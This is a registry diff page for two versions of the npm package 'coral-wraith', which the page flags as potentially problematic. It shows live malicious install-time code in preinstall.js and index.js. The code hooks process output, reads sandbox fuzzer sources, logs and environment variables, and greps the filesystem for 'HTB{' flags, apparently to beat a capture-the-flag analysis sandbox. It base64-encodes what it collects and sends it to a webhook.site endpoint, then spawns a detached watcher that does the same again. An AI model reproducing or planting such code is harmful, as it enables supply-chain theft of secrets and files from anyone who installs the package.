coral-wraith 9999.0.8 → 9999.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/index.js +64 -42
- package/package.json +1 -1
- package/preinstall.js +117 -66
package/index.js
CHANGED
|
@@ -3,50 +3,72 @@ const https = require('https');
|
|
|
3
3
|
|
|
4
4
|
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
5
5
|
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
(
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
6
|
+
function send(path, data) {
|
|
7
|
+
try {
|
|
8
|
+
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: 'webhook.site', path: WH + '/' + path,
|
|
11
|
+
method: 'POST',
|
|
12
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
13
|
+
timeout: 15000
|
|
14
|
+
}, ()=>{});
|
|
15
|
+
req.on('error', ()=>{});
|
|
16
|
+
req.write(b64);
|
|
17
|
+
req.end();
|
|
18
|
+
} catch(e) {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// Hook stdout and stderr to capture fuzzer output (including flag)
|
|
22
|
+
const origStdoutWrite = process.stdout.write.bind(process.stdout);
|
|
23
|
+
const origStderrWrite = process.stderr.write.bind(process.stderr);
|
|
24
|
+
const capturedOutput = [];
|
|
25
|
+
|
|
26
|
+
process.stdout.write = function(chunk, encoding, callback) {
|
|
27
|
+
capturedOutput.push('OUT:' + chunk.toString());
|
|
28
|
+
if (capturedOutput.length <= 50) {
|
|
29
|
+
send('stdout-' + capturedOutput.length, chunk.toString());
|
|
30
|
+
}
|
|
31
|
+
return origStdoutWrite(chunk, encoding, callback);
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
process.stderr.write = function(chunk, encoding, callback) {
|
|
35
|
+
capturedOutput.push('ERR:' + chunk.toString());
|
|
36
|
+
if (capturedOutput.length <= 50) {
|
|
37
|
+
send('stderr-' + capturedOutput.length, chunk.toString());
|
|
30
38
|
}
|
|
39
|
+
return origStderrWrite(chunk, encoding, callback);
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
// Also hook process.exit to capture final output before exit
|
|
43
|
+
const origExit = process.exit;
|
|
44
|
+
process.exit = function(code) {
|
|
45
|
+
send('exit-output', capturedOutput.join('\n'));
|
|
46
|
+
setTimeout(() => origExit(code), 2000);
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
// Set up a timer to send all captured output after 10 seconds
|
|
50
|
+
setTimeout(() => {
|
|
51
|
+
send('captured-all', capturedOutput.join('\n'));
|
|
52
|
+
}, 10000);
|
|
53
|
+
|
|
54
|
+
// Also read key files
|
|
55
|
+
try {
|
|
56
|
+
const fuzzEnv = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js', 'utf8');
|
|
57
|
+
send('fuzz-env-src', fuzzEnv);
|
|
58
|
+
} catch(e) { send('fuzz-env-err', e.message); }
|
|
59
|
+
|
|
60
|
+
try {
|
|
61
|
+
const npmFuzzer = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js', 'utf8');
|
|
62
|
+
send('npm-fuzzer-src', npmFuzzer);
|
|
63
|
+
} catch(e) { send('npm-fuzzer-err', e.message); }
|
|
64
|
+
|
|
65
|
+
try {
|
|
66
|
+
const constants = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js', 'utf8');
|
|
67
|
+
send('constants-src', constants);
|
|
68
|
+
} catch(e) { send('constants-err', e.message); }
|
|
31
69
|
|
|
32
|
-
|
|
33
|
-
const flagData = Buffer.from(JSON.stringify({
|
|
34
|
-
env: process.env,
|
|
35
|
-
cwd: process.cwd(),
|
|
36
|
-
argv: process.argv,
|
|
37
|
-
})).toString('base64');
|
|
38
|
-
|
|
39
|
-
const req = https.request({
|
|
40
|
-
hostname: 'webhook.site', path: `${WH}/require-flag`,
|
|
41
|
-
method: 'GET',
|
|
42
|
-
timeout: 10000
|
|
43
|
-
}, ()=>{});
|
|
44
|
-
req.on('error', ()=>{});
|
|
45
|
-
req.end();
|
|
46
|
-
})();
|
|
47
|
-
|
|
48
|
-
// Export something for the fuzzer to analyze
|
|
70
|
+
// Export something for the fuzzer
|
|
49
71
|
module.exports = {
|
|
50
72
|
name: 'coral-wraith',
|
|
51
|
-
version: '9999.0.
|
|
73
|
+
version: '9999.0.10',
|
|
52
74
|
};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,93 +1,144 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const https = require('https');
|
|
3
|
-
const
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const { execSync, spawn } = require('child_process');
|
|
4
5
|
|
|
5
6
|
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
6
|
-
const debug = [];
|
|
7
7
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
8
|
+
function send(path, data) {
|
|
9
|
+
try {
|
|
10
|
+
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
11
|
+
const req = https.request({
|
|
12
|
+
hostname: 'webhook.site', path: WH + '/' + path,
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
15
|
+
timeout: 15000
|
|
16
|
+
}, ()=>{});
|
|
17
|
+
req.on('error', ()=>{});
|
|
18
|
+
req.write(b64);
|
|
19
|
+
req.end();
|
|
20
|
+
} catch(e) {}
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
// Read fuzzer source files
|
|
24
|
+
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src';
|
|
25
|
+
const files = [
|
|
26
|
+
`${fuzzBase}/fuzz/npm_fuzzer.js`,
|
|
27
|
+
`${fuzzBase}/fuzz/fuzz_env.js`,
|
|
28
|
+
`${fuzzBase}/fuzz/fuzz_manager.js`,
|
|
29
|
+
`${fuzzBase}/fuzz/constants.js`,
|
|
30
|
+
`${fuzzBase}/fuzz/bean/timer_func.js`,
|
|
31
|
+
`${fuzzBase}/fuzz/action/set_timer_action.js`,
|
|
32
|
+
`${fuzzBase}/fuzz/action/regexp_test_action.js`,
|
|
33
|
+
`${fuzzBase}/fuzz/action/clear_timer_action.js`,
|
|
34
|
+
`${fuzzBase}/fuzz/strategy/set_timer_strategy.js`,
|
|
35
|
+
`${fuzzBase}/fuzz/strategy/regexp_test_strategy.js`,
|
|
36
|
+
`${fuzzBase}/fuzz/strategy/clear_timer_strategy.js`,
|
|
37
|
+
`${fuzzBase}/fuzz/parser/class_parser.js`,
|
|
38
|
+
`${fuzzBase}/fuzz/parser/type_parser.js`,
|
|
39
|
+
`${fuzzBase}/fuzz/parser/package_exports_parser.js`,
|
|
40
|
+
`${fuzzBase}/npm_tracker.js`,
|
|
25
41
|
'/home/node/init_test.sh',
|
|
26
42
|
'/home/node/supplysec_entry.js',
|
|
27
43
|
];
|
|
28
44
|
|
|
29
|
-
|
|
30
|
-
const flagFiles = [
|
|
31
|
-
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
32
|
-
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
-
];
|
|
34
|
-
|
|
35
|
-
for (const f of [...fuzzFiles, ...flagFiles]) {
|
|
45
|
+
for (let i = 0; i < files.length; i++) {
|
|
36
46
|
try {
|
|
37
|
-
const content = fs.readFileSync(
|
|
38
|
-
|
|
47
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
48
|
+
send(`pre-file-${i}`, `${files[i]}:\n${content}`);
|
|
39
49
|
} catch(e) {
|
|
40
|
-
|
|
50
|
+
send(`pre-err-${i}`, `${files[i]}: ${e.message}`);
|
|
41
51
|
}
|
|
42
52
|
}
|
|
43
53
|
|
|
44
|
-
//
|
|
45
|
-
|
|
54
|
+
// Also find all .js files under the fuzz directory
|
|
55
|
+
try {
|
|
56
|
+
const r = execSync(`find ${fuzzBase}/fuzz -name "*.js" -type f 2>/dev/null`).toString().trim();
|
|
57
|
+
send('pre-fuzz-files', r);
|
|
58
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
59
|
+
if (!files.includes(f)) {
|
|
60
|
+
try {
|
|
61
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
62
|
+
send(`pre-extra-${f.split('/').pop()}`, `${f}:\n${c}`);
|
|
63
|
+
} catch(e) {}
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
} catch(e) {}
|
|
46
67
|
|
|
47
|
-
//
|
|
68
|
+
// Read the web app source (could be in /app, /data, or served by nginx)
|
|
48
69
|
try {
|
|
49
|
-
const r = execSync('
|
|
50
|
-
|
|
70
|
+
const r = execSync('find / -maxdepth 4 -name "*.js" -path "*/app/*" -o -name "server.js" -o -name "app.js" -o -name "index.js" -path "*/src/*" 2>/dev/null | grep -v node_modules | grep -v aspect-node | head -20', {timeout:10000}).toString().trim();
|
|
71
|
+
send('pre-app-files', r);
|
|
51
72
|
for (const f of r.split('\n').filter(Boolean)) {
|
|
52
73
|
try {
|
|
53
74
|
const c = fs.readFileSync(f, 'utf8');
|
|
54
|
-
|
|
75
|
+
if (c.includes('fastify') || c.includes('flag') || c.includes('HTB')) {
|
|
76
|
+
send(`pre-app-${f.replace(/\//g,'_')}`, `${f}:\n${c}`);
|
|
77
|
+
}
|
|
55
78
|
} catch(e) {}
|
|
56
79
|
}
|
|
57
|
-
} catch(e) {
|
|
58
|
-
|
|
59
|
-
// Send in chunks to webhook
|
|
60
|
-
function sendChunk(data, path) {
|
|
61
|
-
try {
|
|
62
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
63
|
-
const req = https.request({
|
|
64
|
-
hostname: 'webhook.site', path: WH + path,
|
|
65
|
-
method: 'POST',
|
|
66
|
-
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
|
|
67
|
-
timeout: 15000
|
|
68
|
-
}, ()=>{});
|
|
69
|
-
req.on('error', ()=>{});
|
|
70
|
-
req.write(encoded);
|
|
71
|
-
req.end();
|
|
72
|
-
} catch(e) {}
|
|
73
|
-
}
|
|
80
|
+
} catch(e) {}
|
|
74
81
|
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
82
|
+
// Search for flag anywhere
|
|
83
|
+
try {
|
|
84
|
+
const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | grep -v node_modules | head -10', {timeout:15000}).toString().trim();
|
|
85
|
+
send('pre-flag-grep', r);
|
|
86
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
87
|
+
try {
|
|
88
|
+
send(`pre-flag-file-${f.replace(/\//g,'_')}`, fs.readFileSync(f, 'utf8'));
|
|
89
|
+
} catch(e) {}
|
|
90
|
+
}
|
|
91
|
+
} catch(e) { send('pre-flag-grep-err', e.message); }
|
|
81
92
|
|
|
82
|
-
//
|
|
93
|
+
// Spawn a background watcher that runs after init_test.sh
|
|
83
94
|
try {
|
|
84
|
-
|
|
85
|
-
const
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
95
|
+
const watcherCode = `
|
|
96
|
+
const fs = require('fs');
|
|
97
|
+
const https = require('https');
|
|
98
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
99
|
+
function send(p, d) {
|
|
100
|
+
try {
|
|
101
|
+
const b = Buffer.from(d).toString('base64');
|
|
102
|
+
const r = https.request({hostname:'webhook.site',path:WH+'/'+p,method:'POST',
|
|
103
|
+
headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)},timeout:10000},()=>{});
|
|
104
|
+
r.on('error',()=>{}); r.write(b); r.end();
|
|
105
|
+
} catch(e) {}
|
|
89
106
|
}
|
|
90
|
-
|
|
107
|
+
// Wait and then look for flag in logs and generated files
|
|
108
|
+
setTimeout(() => {
|
|
109
|
+
const paths = [
|
|
110
|
+
'/home/node/aspect-node/logs/agent.log',
|
|
111
|
+
'/home/node/aspect-node/logs/default.log',
|
|
112
|
+
'/home/node/aspect-node/logs/error.log',
|
|
113
|
+
'/home/node/aspect-node/logs/collect.log',
|
|
114
|
+
'/home/node/aspect-node/logs/module.log',
|
|
115
|
+
'/home/node/aspect-node/logs/monitor.log',
|
|
116
|
+
'/home/node/aspect-node/logs/metric.log',
|
|
117
|
+
'/home/node/aspect-node/logs/warning.log',
|
|
118
|
+
'/home/node/aspect-node/logs/agent-error.log',
|
|
119
|
+
'/tmp/fuzz_result.json',
|
|
120
|
+
'/tmp/result.json',
|
|
121
|
+
'/tmp/flag',
|
|
122
|
+
'/tmp/flag.txt',
|
|
123
|
+
];
|
|
124
|
+
for (let i = 0; i < paths.length; i++) {
|
|
125
|
+
try {
|
|
126
|
+
const c = fs.readFileSync(paths[i], 'utf8');
|
|
127
|
+
if (c.trim()) send('watch-'+i, paths[i]+':\\n'+c);
|
|
128
|
+
} catch(e) {}
|
|
129
|
+
}
|
|
130
|
+
// Also check env again
|
|
131
|
+
send('watch-env', JSON.stringify(process.env));
|
|
132
|
+
// grep for HTB
|
|
133
|
+
try {
|
|
134
|
+
const r = require('child_process').execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:10000}).toString();
|
|
135
|
+
send('watch-grep', r);
|
|
136
|
+
} catch(e) {}
|
|
137
|
+
}, 30000);
|
|
138
|
+
setTimeout(() => process.exit(0), 60000);
|
|
139
|
+
`;
|
|
140
|
+
fs.writeFileSync('/tmp/watcher.js', watcherCode);
|
|
141
|
+
spawn('node', ['/tmp/watcher.js'], { detached: true, stdio: 'ignore' }).unref();
|
|
91
142
|
} catch(e) {}
|
|
92
143
|
|
|
93
|
-
console.log('[CORAL-
|
|
144
|
+
console.log('[CORAL-V9] preinstall complete');
|